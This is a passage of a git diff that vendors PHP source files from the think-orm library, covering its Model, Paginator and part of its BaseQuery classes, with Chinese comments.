null) + { + if (isset($this->event[$event])) { + foreach ($this->event[$event] as $callback) { + call_user_func_array($callback, [$this]); + } + } + } + + public function __call($method, $args) + { + return call_user_func_array([$this->connect(), $method], $args); + } +} diff --git a/vendor/topthink/think-orm/src/Model.php b/vendor/topthink/think-orm/src/Model.php new file mode 100644 index 0000000..7d92bd2 --- /dev/null +++ b/vendor/topthink/think-orm/src/Model.php @@ -0,0 +1,1060 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use ArrayAccess; +use Closure; +use JsonSerializable; +use think\contract\Arrayable; +use think\contract\Jsonable; +use think\db\BaseQuery as Query; + +/** + * Class Model + * @package think + * @mixin Query + * @method void onAfterRead(Model $model) static after_read事件定义 + * @method mixed onBeforeInsert(Model $model) static before_insert事件定义 + * @method void onAfterInsert(Model $model) static after_insert事件定义 + * @method mixed onBeforeUpdate(Model $model) static before_update事件定义 + * @method void onAfterUpdate(Model $model) static after_update事件定义 + * @method mixed onBeforeWrite(Model $model) static before_write事件定义 + * @method void onAfterWrite(Model $model) static after_write事件定义 + * @method mixed onBeforeDelete(Model $model) static before_write事件定义 + * @method void onAfterDelete(Model $model) static after_delete事件定义 + * @method void onBeforeRestore(Model $model) static before_restore事件定义 + * @method void onAfterRestore(Model $model) static after_restore事件定义 + */ +abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable +{ + use model\concern\Attribute; + use model\concern\RelationShip; + use model\concern\ModelEvent; + use model\concern\TimeStamp; + use model\concern\Conversion; + + /** + * 数据是否存在 + * @var bool + */ + private $exists = false; + + /** + * 是否强制更新所有数据 + * @var bool + */ + private $force = false; + + /** + * 是否Replace + * @var bool + */ + private $replace = false; + + /** + * 数据表后缀 + * @var string + */ + protected $suffix; + + /** + * 更新条件 + * @var array + */ + private $updateWhere; + + /** + * 数据库配置 + * @var string + */ + protected $connection; + + /** + * 模型名称 + * @var string + */ + protected $name; + + /** + * 主键值 + * @var string + */ + protected $key; + + /** + * 数据表名称 + * @var string + */ + protected $table; + + /** + * 初始化过的模型. + * @var array + */ + protected static $initialized = []; + + /** + * 软删除字段默认值 + * @var mixed + */ + protected $defaultSoftDelete; + + /** + * 全局查询范围 + * @var array + */ + protected $globalScope = []; + + /** + * 延迟保存信息 + * @var bool + */ + private $lazySave = false; + + /** + * Db对象 + * @var DbManager + */ + protected static $db; + + /** + * 容器对象的依赖注入方法 + * @var callable + */ + protected static $invoker; + + /** + * 服务注入 + * @var Closure[] + */ + protected static $maker = []; + + /** + * 方法注入 + * @var Closure[][] + */ + protected static $macro = []; + + /** + * 设置服务注入 + * @access public + * @param Closure $maker + * @return void + */ + public static function maker(Closure $maker) + { + static::$maker[] = $maker; + } + + /** + * 设置方法注入 + * @access public + * @param string $method + * @param Closure $closure + * @return void + */ + public static function macro(string $method, Closure $closure) + { + if (!isset(static::$macro[static::class])) { + static::$macro[static::class] = []; + } + static::$macro[static::class][$method] = $closure; + } + + /** + * 设置Db对象 + * @access public + * @param DbManager $db Db对象 + * @return void + */ + public static function setDb(DbManager $db) + { + self::$db = $db; + } + + /** + * 设置容器对象的依赖注入方法 + * @access public + * @param callable $callable 依赖注入方法 + * @return void + */ + public static function setInvoker(callable $callable): void + { + self::$invoker = $callable; + } + + /** + * 调用反射执行模型方法 支持参数绑定 + * @access public + * @param mixed $method + * @param array $vars 参数 + * @return mixed + */ + public function invoke($method, array $vars = []) + { + if (self::$invoker) { + $call = self::$invoker; + return $call($method instanceof Closure ? $method : Closure::fromCallable([$this, $method]), $vars); + } + + return call_user_func_array($method instanceof Closure ? $method : [$this, $method], $vars); + } + + /** + * 架构函数 + * @access public + * @param array $data 数据 + */ + public function __construct(array $data = []) + { + $this->data = $data; + + if (!empty($this->data)) { + // 废弃字段 + foreach ((array) $this->disuse as $key) { + if (array_key_exists($key, $this->data)) { + unset($this->data[$key]); + } + } + } + + // 记录原始数据 + $this->origin = $this->data; + + if (empty($this->name)) { + // 当前模型名 + $name = str_replace('\\', '/', static::class); + $this->name = basename($name); + } + + if (!empty(static::$maker)) { + foreach (static::$maker as $maker) { + call_user_func($maker, $this); + } + } + + // 执行初始化操作 + $this->initialize(); + } + + /** + * 获取当前模型名称 + * @access public + * @return string + */ + public function getName(): string + { + return $this->name; + } + + /** + * 创建新的模型实例 + * @access public + * @param array $data 数据 + * @param mixed $where 更新条件 + * @return Model + */ + public function newInstance(array $data = [], $where = null): Model + { + $model = new static($data); + + if ($this->connection) { + $model->setConnection($this->connection); + } + + if ($this->suffix) { + $model->setSuffix($this->suffix); + } + + if (empty($data)) { + return $model; + } + + $model->exists(true); + + $model->setUpdateWhere($where); + + $model->trigger('AfterRead'); + + return $model; + } + + /** + * 设置模型的更新条件 + * @access protected + * @param mixed $where 更新条件 + * @return void + */ + protected function setUpdateWhere($where): void + { + $this->updateWhere = $where; + } + + /** + * 设置当前模型的数据库连接 + * @access public + * @param string $connection 数据表连接标识 + * @return $this + */ + public function setConnection(string $connection) + { + $this->connection = $connection; + return $this; + } + + /** + * 获取当前模型的数据库连接标识 + * @access public + * @return string + */ + public function getConnection(): string + { + return $this->connection ?: ''; + } + + /** + * 设置当前模型数据表的后缀 + * @access public + * @param string $suffix 数据表后缀 + * @return $this + */ + public function setSuffix(string $suffix) + { + $this->suffix = $suffix; + return $this; + } + + /** + * 获取当前模型的数据表后缀 + * @access public + * @return string + */ + public function getSuffix(): string + { + return $this->suffix ?: ''; + } + + /** + * 获取当前模型的数据库查询对象 + * @access public + * @param array $scope 设置不使用的全局查询范围 + * @return Query + */ + public function db($scope = []): Query + { + /** @var Query $query */ + $query = self::$db->connect($this->connection) + ->name($this->name . $this->suffix) + ->pk($this->pk); + + if (!empty($this->table)) { + $query->table($this->table . $this->suffix); + } + + $query->model($this) + ->json($this->json, $this->jsonAssoc) + ->setFieldType(array_merge($this->schema, $this->jsonType)); + + // 软删除 + if (property_exists($this, 'withTrashed') && !$this->withTrashed) { + $this->withNoTrashed($query); + } + + // 全局作用域 + if (is_array($scope)) { + $globalScope = array_diff($this->globalScope, $scope); + $query->scope($globalScope); + } + + // 返回当前模型的数据库查询对象 + return $query; + } + + /** + * 初始化模型 + * @access private + * @return void + */ + private function initialize(): void + { + if (!isset(static::$initialized[static::class])) { + static::$initialized[static::class] = true; + static::init(); + } + } + + /** + * 初始化处理 + * @access protected + * @return void + */ + protected static function init() + { + } + + protected function checkData(): void + { + } + + protected function checkResult($result): void + { + } + + /** + * 更新是否强制写入数据 而不做比较(亦可用于软删除的强制删除) + * @access public + * @param bool $force + * @return $this + */ + public function force(bool $force = true) + { + $this->force = $force; + return $this; + } + + /** + * 判断force + * @access public + * @return bool + */ + public function isForce(): bool + { + return $this->force; + } + + /** + * 新增数据是否使用Replace + * @access public + * @param bool $replace + * @return $this + */ + public function replace(bool $replace = true) + { + $this->replace = $replace; + return $this; + } + + /** + * 刷新模型数据 + * @access public + * @param bool $relation 是否刷新关联数据 + * @return $this + */ + public function refresh(bool $relation = false) + { + if ($this->exists) { + $this->data = $this->db()->find($this->getKey())->getData(); + $this->origin = $this->data; + + if ($relation) { + $this->relation = []; + } + } + + return $this; + } + + /** + * 设置数据是否存在 + * @access public + * @param bool $exists + * @return $this + */ + public function exists(bool $exists = true) + { + $this->exists = $exists; + return $this; + } + + /** + * 判断数据是否存在数据库 + * @access public + * @return bool + */ + public function isExists(): bool + { + return $this->exists; + } + + /** + * 判断模型是否为空 + * @access public + * @return bool + */ + public function isEmpty(): bool + { + return empty($this->data); + } + + /** + * 延迟保存当前数据对象 + * @access public + * @param array|bool $data 数据 + * @return void + */ + public function lazySave($data = []): void + { + if (false === $data) { + $this->lazySave = false; + } else { + if (is_array($data)) { + $this->setAttrs($data); + } + + $this->lazySave = true; + } + } + + /** + * 保存当前数据对象 + * @access public + * @param array $data 数据 + * @param string $sequence 自增序列名 + * @return bool + */ + public function save(array $data = [], string $sequence = null): bool + { + // 数据对象赋值 + $this->setAttrs($data); + + if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { + return false; + } + + $result = $this->exists ? $this->updateData() : $this->insertData($sequence); + + if (false === $result) { + return false; + } + + // 写入回调 + $this->trigger('AfterWrite'); + + // 重新记录原始数据 + $this->origin = $this->data; + $this->set = []; + $this->lazySave = false; + + return true; + } + + /** + * 检查数据是否允许写入 + * @access protected + * @return array + */ + protected function checkAllowFields(): array + { + // 检测字段 + if (empty($this->field)) { + if (!empty($this->schema)) { + $this->field = array_keys(array_merge($this->schema, $this->jsonType)); + } else { + $query = $this->db(); + $table = $this->table ? $this->table . $this->suffix : $query->getTable(); + + $this->field = $query->getConnection()->getTableFields($table); + } + + return $this->field; + } + + $field = $this->field; + + if ($this->autoWriteTimestamp) { + array_push($field, $this->createTime, $this->updateTime); + } + + if (!empty($this->disuse)) { + // 废弃字段 + $field = array_diff($field, $this->disuse); + } + + return $field; + } + + /** + * 保存写入数据 + * @access protected + * @return bool + */ + protected function updateData(): bool + { + // 事件回调 + if (false === $this->trigger('BeforeUpdate')) { + return false; + } + + $this->checkData(); + + // 获取有更新的数据 + $data = $this->getChangedData(); + + if (empty($data)) { + // 关联更新 + if (!empty($this->relationWrite)) { + $this->autoRelationUpdate(); + } + + return true; + } + + if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { + // 自动写入更新时间 + $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); + $this->data[$this->updateTime] = $data[$this->updateTime]; + } + + // 检查允许字段 + $allowFields = $this->checkAllowFields(); + + foreach ($this->relationWrite as $name => $val) { + if (!is_array($val)) { + continue; + } + + foreach ($val as $key) { + if (isset($data[$key])) { + unset($data[$key]); + } + } + } + + // 模型更新 + $db = $this->db(); + + $db->transaction(function () use ($data, $allowFields, $db) { + $this->key = null; + $where = $this->getWhere(); + + $result = $db->where($where) + ->strict(false) + ->cache(true) + ->setOption('key', $this->key) + ->field($allowFields) + ->update($data); + + $this->checkResult($result); + + // 关联更新 + if (!empty($this->relationWrite)) { + $this->autoRelationUpdate(); + } + }); + + // 更新回调 + $this->trigger('AfterUpdate'); + + return true; + } + + /** + * 新增写入数据 + * @access protected + * @param string $sequence 自增名 + * @return bool + */ + protected function insertData(string $sequence = null): bool + { + // 时间戳自动写入 + if ($this->autoWriteTimestamp) { + if ($this->createTime && !isset($this->data[$this->createTime])) { + $this->data[$this->createTime] = $this->autoWriteTimestamp($this->createTime); + } + + if ($this->updateTime && !isset($this->data[$this->updateTime])) { + $this->data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); + } + } + + if (false === $this->trigger('BeforeInsert')) { + return false; + } + + $this->checkData(); + + // 检查允许字段 + $allowFields = $this->checkAllowFields(); + + $db = $this->db(); + + $db->transaction(function () use ($sequence, $allowFields, $db) { + $result = $db->strict(false) + ->field($allowFields) + ->replace($this->replace) + ->sequence($sequence) + ->insert($this->data, true); + + // 获取自动增长主键 + if ($result) { + $pk = $this->getPk(); + + if (is_string($pk) && (!isset($this->data[$pk]) || '' == $this->data[$pk])) { + $this->data[$pk] = $result; + } + } + + // 关联写入 + if (!empty($this->relationWrite)) { + $this->autoRelationInsert(); + } + }); + + // 标记数据已经存在 + $this->exists = true; + + // 新增回调 + $this->trigger('AfterInsert'); + + return true; + } + + /** + * 获取当前的更新条件 + * @access public + * @return mixed + */ + public function getWhere() + { + $pk = $this->getPk(); + + if (is_string($pk) && isset($this->origin[$pk])) { + $where = [[$pk, '=', $this->origin[$pk]]]; + $this->key = $this->origin[$pk]; + } elseif (is_array($pk)) { + foreach ($pk as $field) { + if (isset($this->origin[$field])) { + $where[] = [$field, '=', $this->origin[$field]]; + } + } + } + + if (empty($where)) { + $where = empty($this->updateWhere) ? null : $this->updateWhere; + } + + return $where; + } + + /** + * 保存多个数据到当前数据对象 + * @access public + * @param iterable $dataSet 数据 + * @param boolean $replace 是否自动识别更新和写入 + * @return Collection + * @throws \Exception + */ + public function saveAll(iterable $dataSet, bool $replace = true): Collection + { + $db = $this->db(); + + $result = $db->transaction(function () use ($replace, $dataSet) { + + $pk = $this->getPk(); + + if (is_string($pk) && $replace) { + $auto = true; + } + + $result = []; + + $suffix = $this->getSuffix(); + + foreach ($dataSet as $key => $data) { + if ($this->exists || (!empty($auto) && isset($data[$pk]))) { + $result[$key] = static::update($data, [], [], $suffix); + } else { + $result[$key] = static::create($data, $this->field, $this->replace, $suffix); + } + } + + return $result; + }); + + return $this->toCollection($result); + } + + /** + * 删除当前的记录 + * @access public + * @return bool + */ + public function delete(): bool + { + if (!$this->exists || $this->isEmpty() || false === $this->trigger('BeforeDelete')) { + return false; + } + + // 读取更新条件 + $where = $this->getWhere(); + + $db = $this->db(); + + $db->transaction(function () use ($where, $db) { + // 删除当前模型数据 + $db->where($where)->delete(); + + // 关联删除 + if (!empty($this->relationWrite)) { + $this->autoRelationDelete(); + } + }); + + $this->trigger('AfterDelete'); + + $this->exists = false; + $this->lazySave = false; + + return true; + } + + /** + * 写入数据 + * @access public + * @param array $data 数据数组 + * @param array $allowField 允许字段 + * @param bool $replace 使用Replace + * @param string $suffix 数据表后缀 + * @return static + */ + public static function create(array $data, array $allowField = [], bool $replace = false, string $suffix = ''): Model + { + $model = new static(); + + if (!empty($allowField)) { + $model->allowField($allowField); + } + + if (!empty($suffix)) { + $model->setSuffix($suffix); + } + + $model->replace($replace)->save($data); + + return $model; + } + + /** + * 更新数据 + * @access public + * @param array $data 数据数组 + * @param mixed $where 更新条件 + * @param array $allowField 允许字段 + * @param string $suffix 数据表后缀 + * @return static + */ + public static function update(array $data, $where = [], array $allowField = [], string $suffix = '') + { + $model = new static(); + + if (!empty($allowField)) { + $model->allowField($allowField); + } + + if (!empty($where)) { + $model->setUpdateWhere($where); + } + + if (!empty($suffix)) { + $model->setSuffix($suffix); + } + + $model->exists(true)->save($data); + + return $model; + } + + /** + * 删除记录 + * @access public + * @param mixed $data 主键列表 支持闭包查询条件 + * @param bool $force 是否强制删除 + * @return bool + */ + public static function destroy($data, bool $force = false): bool + { + if (empty($data) && 0 !== $data) { + return false; + } + + $model = new static(); + + $query = $model->db(); + + if (is_array($data) && key($data) !== 0) { + $query->where($data); + $data = null; + } elseif ($data instanceof \Closure) { + $data($query); + $data = null; + } + + $resultSet = $query->select($data); + + foreach ($resultSet as $result) { + $result->force($force)->delete(); + } + + return true; + } + + /** + * 解序列化后处理 + */ + public function __wakeup() + { + $this->initialize(); + } + + /** + * 修改器 设置数据对象的值 + * @access public + * @param string $name 名称 + * @param mixed $value 值 + * @return void + */ + public function __set(string $name, $value): void + { + $this->setAttr($name, $value); + } + + /** + * 获取器 获取数据对象的值 + * @access public + * @param string $name 名称 + * @return mixed + */ + public function __get(string $name) + { + return $this->getAttr($name); + } + + /** + * 检测数据对象的值 + * @access public + * @param string $name 名称 + * @return bool + */ + public function __isset(string $name): bool + { + return !is_null($this->getAttr($name)); + } + + /** + * 销毁数据对象的值 + * @access public + * @param string $name 名称 + * @return void + */ + public function __unset(string $name): void + { + unset($this->data[$name], $this->relation[$name]); + } + + // ArrayAccess + public function offsetSet($name, $value) + { + $this->setAttr($name, $value); + } + + public function offsetExists($name): bool + { + return $this->__isset($name); + } + + public function offsetUnset($name) + { + $this->__unset($name); + } + + public function offsetGet($name) + { + return $this->getAttr($name); + } + + /** + * 设置不使用的全局查询范围 + * @access public + * @param array $scope 不启用的全局查询范围 + * @return Query + */ + public static function withoutGlobalScope(array $scope = null) + { + $model = new static(); + + return $model->db($scope); + } + + /** + * 切换后缀进行查询 + * @access public + * @param string $suffix 切换的表后缀 + * @return Model + */ + public static function suffix(string $suffix) + { + $model = new static(); + $model->setSuffix($suffix); + + return $model; + } + + /** + * 切换数据库连接进行查询 + * @access public + * @param string $connection 数据库连接标识 + * @return Model + */ + public static function connect(string $connection) + { + $model = new static(); + $model->setConnection($connection); + + return $model; + } + + public function __call($method, $args) + { + if (isset(static::$macro[static::class][$method])) { + return call_user_func_array(static::$macro[static::class][$method]->bindTo($this, static::class), $args); + } + + if ('withattr' == strtolower($method)) { + return call_user_func_array([$this, 'withAttribute'], $args); + } + + return call_user_func_array([$this->db(), $method], $args); + } + + public static function __callStatic($method, $args) + { + if (isset(static::$macro[static::class][$method])) { + return call_user_func_array(static::$macro[static::class][$method]->bindTo(null, static::class), $args); + } + + $model = new static(); + + return call_user_func_array([$model->db(), $method], $args); + } + + /** + * 析构方法 + * @access public + */ + public function __destruct() + { + if ($this->lazySave) { + $this->save(); + } + } +} diff --git a/vendor/topthink/think-orm/src/Paginator.php b/vendor/topthink/think-orm/src/Paginator.php new file mode 100644 index 0000000..f5d8006 --- /dev/null +++ b/vendor/topthink/think-orm/src/Paginator.php @@ -0,0 +1,518 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use ArrayAccess; +use ArrayIterator; +use Closure; +use Countable; +use DomainException; +use IteratorAggregate; +use JsonSerializable; +use think\paginator\driver\Bootstrap; +use Traversable; + +/** + * 分页基础类 + * @mixin Collection + */ +abstract class Paginator implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable +{ + /** + * 是否简洁模式 + * @var bool + */ + protected $simple = false; + + /** + * 数据集 + * @var Collection + */ + protected $items; + + /** + * 当前页 + * @var int + */ + protected $currentPage; + + /** + * 最后一页 + * @var int + */ + protected $lastPage; + + /** + * 数据总数 + * @var integer|null + */ + protected $total; + + /** + * 每页数量 + * @var int + */ + protected $listRows; + + /** + * 是否有下一页 + * @var bool + */ + protected $hasMore; + + /** + * 分页配置 + * @var array + */ + protected $options = [ + 'var_page' => 'page', + 'path' => '/', + 'query' => [], + 'fragment' => '', + ]; + + /** + * 获取当前页码 + * @var Closure + */ + protected static $currentPageResolver; + + /** + * 获取当前路径 + * @var Closure + */ + protected static $currentPathResolver; + + /** + * @var Closure + */ + protected static $maker; + + public function __construct($items, int $listRows, int $currentPage = 1, int $total = null, bool $simple = false, array $options = []) + { + $this->options = array_merge($this->options, $options); + + $this->options['path'] = '/' != $this->options['path'] ? rtrim($this->options['path'], '/') : $this->options['path']; + + $this->simple = $simple; + $this->listRows = $listRows; + + if (!$items instanceof Collection) { + $items = Collection::make($items); + } + + if ($simple) { + $this->currentPage = $this->setCurrentPage($currentPage); + $this->hasMore = count($items) > ($this->listRows); + $items = $items->slice(0, $this->listRows); + } else { + $this->total = $total; + $this->lastPage = (int) ceil($total / $listRows); + $this->currentPage = $this->setCurrentPage($currentPage); + $this->hasMore = $this->currentPage < $this->lastPage; + } + $this->items = $items; + } + + /** + * @access public + * @param mixed $items + * @param int $listRows + * @param int $currentPage + * @param int $total + * @param bool $simple + * @param array $options + * @return Paginator + */ + public static function make($items, int $listRows, int $currentPage = 1, int $total = null, bool $simple = false, array $options = []) + { + if (isset(static::$maker)) { + return call_user_func(static::$maker, $items, $listRows, $currentPage, $total, $simple, $options); + } + + return new Bootstrap($items, $listRows, $currentPage, $total, $simple, $options); + } + + public static function maker(Closure $resolver) + { + static::$maker = $resolver; + } + + protected function setCurrentPage(int $currentPage): int + { + if (!$this->simple && $currentPage > $this->lastPage) { + return $this->lastPage > 0 ? $this->lastPage : 1; + } + + return $currentPage; + } + + /** + * 获取页码对应的链接 + * + * @access protected + * @param int $page + * @return string + */ + protected function url(int $page): string + { + if ($page <= 0) { + $page = 1; + } + + if (strpos($this->options['path'], '[PAGE]') === false) { + $parameters = [$this->options['var_page'] => $page]; + $path = $this->options['path']; + } else { + $parameters = []; + $path = str_replace('[PAGE]', $page, $this->options['path']); + } + + if (count($this->options['query']) > 0) { + $parameters = array_merge($this->options['query'], $parameters); + } + + $url = $path; + if (!empty($parameters)) { + $url .= '?' . http_build_query($parameters, '', '&'); + } + + return $url . $this->buildFragment(); + } + + /** + * 自动获取当前页码 + * @access public + * @param string $varPage + * @param int $default + * @return int + */ + public static function getCurrentPage(string $varPage = 'page', int $default = 1): int + { + if (isset(static::$currentPageResolver)) { + return call_user_func(static::$currentPageResolver, $varPage); + } + + return $default; + } + + /** + * 设置获取当前页码闭包 + * @param Closure $resolver + */ + public static function currentPageResolver(Closure $resolver) + { + static::$currentPageResolver = $resolver; + } + + /** + * 自动获取当前的path + * @access public + * @param string $default + * @return string + */ + public static function getCurrentPath($default = '/'): string + { + if (isset(static::$currentPathResolver)) { + return call_user_func(static::$currentPathResolver); + } + + return $default; + } + + /** + * 设置获取当前路径闭包 + * @param Closure $resolver + */ + public static function currentPathResolver(Closure $resolver) + { + static::$currentPathResolver = $resolver; + } + + /** + * 获取数据总条数 + * @return int + */ + public function total(): int + { + if ($this->simple) { + throw new DomainException('not support total'); + } + + return $this->total; + } + + /** + * 获取每页数量 + * @return int + */ + public function listRows(): int + { + return $this->listRows; + } + + /** + * 获取当前页页码 + * @return int + */ + public function currentPage(): int + { + return $this->currentPage; + } + + /** + * 获取最后一页页码 + * @return int + */ + public function lastPage(): int + { + if ($this->simple) { + throw new DomainException('not support last'); + } + + return $this->lastPage; + } + + /** + * 数据是否足够分页 + * @access public + * @return bool + */ + public function hasPages(): bool + { + return !(1 == $this->currentPage && !$this->hasMore); + } + + /** + * 创建一组分页链接 + * + * @access public + * @param int $start + * @param int $end + * @return array + */ + public function getUrlRange(int $start, int $end): array + { + $urls = []; + + for ($page = $start; $page <= $end; $page++) { + $urls[$page] = $this->url($page); + } + + return $urls; + } + + /** + * 设置URL锚点 + * + * @access public + * @param string|null $fragment + * @return $this + */ + public function fragment(string $fragment = null) + { + $this->options['fragment'] = $fragment; + + return $this; + } + + /** + * 添加URL参数 + * + * @access public + * @param array $append + * @return $this + */ + public function appends(array $append) + { + foreach ($append as $k => $v) { + if ($k !== $this->options['var_page']) { + $this->options['query'][$k] = $v; + } + } + + return $this; + } + + /** + * 构造锚点字符串 + * + * @access public + * @return string + */ + protected function buildFragment(): string + { + return $this->options['fragment'] ? '#' . $this->options['fragment'] : ''; + } + + /** + * 渲染分页html + * @access public + * @return mixed + */ + abstract public function render(); + + public function items() + { + return $this->items->all(); + } + + /** + * 获取数据集 + * + * @return Collection|\think\model\Collection + */ + public function getCollection() + { + return $this->items; + } + + public function isEmpty(): bool + { + return $this->items->isEmpty(); + } + + /** + * 给每个元素执行个回调 + * + * @access public + * @param callable $callback + * @return $this + */ + public function each(callable $callback) + { + foreach ($this->items as $key => $item) { + $result = $callback($item, $key); + + if (false === $result) { + break; + } elseif (!is_object($item)) { + $this->items[$key] = $result; + } + } + + return $this; + } + + /** + * Retrieve an external iterator + * @access public + * @return Traversable An instance of an object implementing Iterator or + * Traversable + */ + public function getIterator() + { + return new ArrayIterator($this->items->all()); + } + + /** + * Whether a offset exists + * @access public + * @param mixed $offset + * @return bool + */ + public function offsetExists($offset) + { + return $this->items->offsetExists($offset); + } + + /** + * Offset to retrieve + * @access public + * @param mixed $offset + * @return mixed + */ + public function offsetGet($offset) + { + return $this->items->offsetGet($offset); + } + + /** + * Offset to set + * @access public + * @param mixed $offset + * @param mixed $value + */ + public function offsetSet($offset, $value) + { + $this->items->offsetSet($offset, $value); + } + + /** + * Offset to unset + * @access public + * @param mixed $offset + * @return void + * @since 5.0.0 + */ + public function offsetUnset($offset) + { + $this->items->offsetUnset($offset); + } + + /** + * 统计数据集条数 + * @return int + */ + public function count(): int + { + return $this->items->count(); + } + + public function __toString() + { + return (string) $this->render(); + } + + /** + * 转换为数组 + * @return array + */ + public function toArray(): array + { + try { + $total = $this->total(); + } catch (DomainException $e) { + $total = null; + } + + return [ + 'total' => $total, + 'per_page' => $this->listRows(), + 'current_page' => $this->currentPage(), + 'last_page' => $this->lastPage, + 'data' => $this->items->toArray(), + ]; + } + + /** + * Specify data which should be serialized to JSON + */ + public function jsonSerialize() + { + return $this->toArray(); + } + + public function __call($name, $arguments) + { + $result = call_user_func_array([$this->items, $name], $arguments); + + if ($result instanceof Collection) { + $this->items = $result; + return $this; + } + + return $result; + } + +} diff --git a/vendor/topthink/think-orm/src/db/BaseQuery.php b/vendor/topthink/think-orm/src/db/BaseQuery.php new file mode 100644 index 0000000..447b749 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/BaseQuery.php @@ -0,0 +1,1282 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use think\Collection; +use think\db\exception\DataNotFoundException; +use think\db\exception\DbException as Exception; +use think\db\exception\ModelNotFoundException; +use think\helper\Str; +use think\Model; +use think\Paginator; + +/** + * 数据查询基础类 + */ +abstract class BaseQuery +{ + use concern\TimeFieldQuery; + use concern\AggregateQuery; + use concern\ModelRelationQuery; + use concern\ResultOperation; + use concern\Transaction; + use concern\WhereQuery; + + /** + * 当前数据库连接对象 + * @var Connection + */ + protected $connection; + + /** + * 当前数据表名称(不含前缀) + * @var string + */ + protected $name = ''; + + /** + * 当前数据表主键 + * @var string|array + */ + protected $pk; + + /** + * 当前数据表自增主键 + * @var string + */ + protected $autoinc; + + /** + * 当前数据表前缀 + * @var string + */ + protected $prefix = ''; + + /** + * 当前查询参数 + * @var array + */ + protected $options = []; + + /** + * 架构函数 + * @access public + * @param ConnectionInterface $connection 数据库连接对象 + */ + public function __construct(ConnectionInterface $connection) + { + $this->connection = $connection; + + $this->prefix = $this->connection->getConfig('prefix'); + } + + /** + * 利用__call方法实现一些特殊的Model方法 + * @access public + * @param string $method 方法名称 + * @param array $args 调用参数 + * @return mixed + * @throws Exception + */ + public function __call(string $method, array $args) + { + if (strtolower(substr($method, 0, 5)) == 'getby') { + // 根据某个字段获取记录 + $field = Str::snake(substr($method, 5)); + return $this->where($field, '=', $args[0])->find(); + } elseif (strtolower(substr($method, 0, 10)) == 'getfieldby') { + // 根据某个字段获取记录的某个值 + $name = Str::snake(substr($method, 10)); + return $this->where($name, '=', $args[0])->value($args[1]); + } elseif (strtolower(substr($method, 0, 7)) == 'whereor') { + $name = Str::snake(substr($method, 7)); + array_unshift($args, $name); + return call_user_func_array([$this, 'whereOr'], $args); + } elseif (strtolower(substr($method, 0, 5)) == 'where') { + $name = Str::snake(substr($method, 5)); + array_unshift($args, $name); + return call_user_func_array([$this, 'where'], $args); + } elseif ($this->model && method_exists($this->model, 'scope' . $method)) { + // 动态调用命名范围 + $method = 'scope' . $method; + array_unshift($args, $this); + + call_user_func_array([$this->model, $method], $args); + return $this; + } else { + throw new Exception('method not exist:' . static::class . '->' . $method); + } + } + + /** + * 创建一个新的查询对象 + * @access public + * @return BaseQuery + */ + public function newQuery(): BaseQuery + { + $query = new static($this->connection); + + if ($this->model) { + $query->model($this->model); + } + + if (isset($this->options['table'])) { + $query->table($this->options['table']); + } else { + $query->name($this->name); + } + + if (isset($this->options['json'])) { + $query->json($this->options['json'], $this->options['json_assoc']); + } + + if (isset($this->options['field_type'])) { + $query->setFieldType($this->options['field_type']); + } + + return $query; + } + + /** + * 获取当前的数据库Connection对象 + * @access public + * @return ConnectionInterface + */ + public function getConnection() + { + return $this->connection; + } + + /** + * 指定当前数据表名(不含前缀) + * @access public + * @param string $name 不含前缀的数据表名字 + * @return $this + */ + public function name(string $name) + { + $this->name = $name; + return $this; + } + + /** + * 获取当前的数据表名称 + * @access public + * @return string + */ + public function getName(): string + { + return $this->name ?: $this->model->getName(); + } + + /** + * 获取数据库的配置参数 + * @access public + * @param string $name 参数名称 + * @return mixed + */ + public function getConfig(string $name = '') + { + return $this->connection->getConfig($name); + } + + /** + * 得到当前或者指定名称的数据表 + * @access public + * @param string $name 不含前缀的数据表名字 + * @return mixed + */ + public function getTable(string $name = '') + { + if (empty($name) && isset($this->options['table'])) { + return $this->options['table']; + } + + $name = $name ?: $this->name; + + return $this->prefix . Str::snake($name); + } + + /** + * 设置字段类型信息 + * @access public + * @param array $type 字段类型信息 + * @return $this + */ + public function setFieldType(array $type) + { + $this->options['field_type'] = $type; + return $this; + } + + /** + * 获取最近一次查询的sql语句 + * @access public + * @return string + */ + public function getLastSql(): string + { + return $this->connection->getLastSql(); + } + + /** + * 获取返回或者影响的记录数 + * @access public + * @return integer + */ + public function getNumRows(): int + { + return $this->connection->getNumRows(); + } + + /** + * 获取最近插入的ID + * @access public + * @param string $sequence 自增序列名 + * @return mixed + */ + public function getLastInsID(string $sequence = null) + { + return $this->connection->getLastInsID($this, $sequence); + } + + /** + * 得到某个字段的值 + * @access public + * @param string $field 字段名 + * @param mixed $default 默认值 + * @return mixed + */ + public function value(string $field, $default = null) + { + return $this->connection->value($this, $field, $default); + } + + /** + * 得到某个列的数组 + * @access public + * @param string $field 字段名 多个字段用逗号分隔 + * @param string $key 索引 + * @return array + */ + public function column(string $field, string $key = ''): array + { + return $this->connection->column($this, $field, $key); + } + + /** + * 查询SQL组装 union + * @access public + * @param mixed $union UNION + * @param boolean $all 是否适用UNION ALL + * @return $this + */ + public function union($union, bool $all = false) + { + $this->options['union']['type'] = $all ? 'UNION ALL' : 'UNION'; + + if (is_array($union)) { + $this->options['union'] = array_merge($this->options['union'], $union); + } else { + $this->options['union'][] = $union; + } + + return $this; + } + + /** + * 查询SQL组装 union all + * @access public + * @param mixed $union UNION数据 + * @return $this + */ + public function unionAll($union) + { + return $this->union($union, true); + } + + /** + * 指定查询字段 + * @access public + * @param mixed $field 字段信息 + * @return $this + */ + public function field($field) + { + if (empty($field)) { + return $this; + } elseif ($field instanceof Raw) { + $this->options['field'][] = $field; + return $this; + } + + if (is_string($field)) { + if (preg_match('/[\<\'\"\(]/', $field)) { + return $this->fieldRaw($field); + } + + $field = array_map('trim', explode(',', $field)); + } + + if (true === $field) { + // 获取全部字段 + $fields = $this->getTableFields(); + $field = $fields ?: ['*']; + } + + if (isset($this->options['field'])) { + $field = array_merge((array) $this->options['field'], $field); + } + + $this->options['field'] = array_unique($field); + + return $this; + } + + /** + * 指定要排除的查询字段 + * @access public + * @param array|string $field 要排除的字段 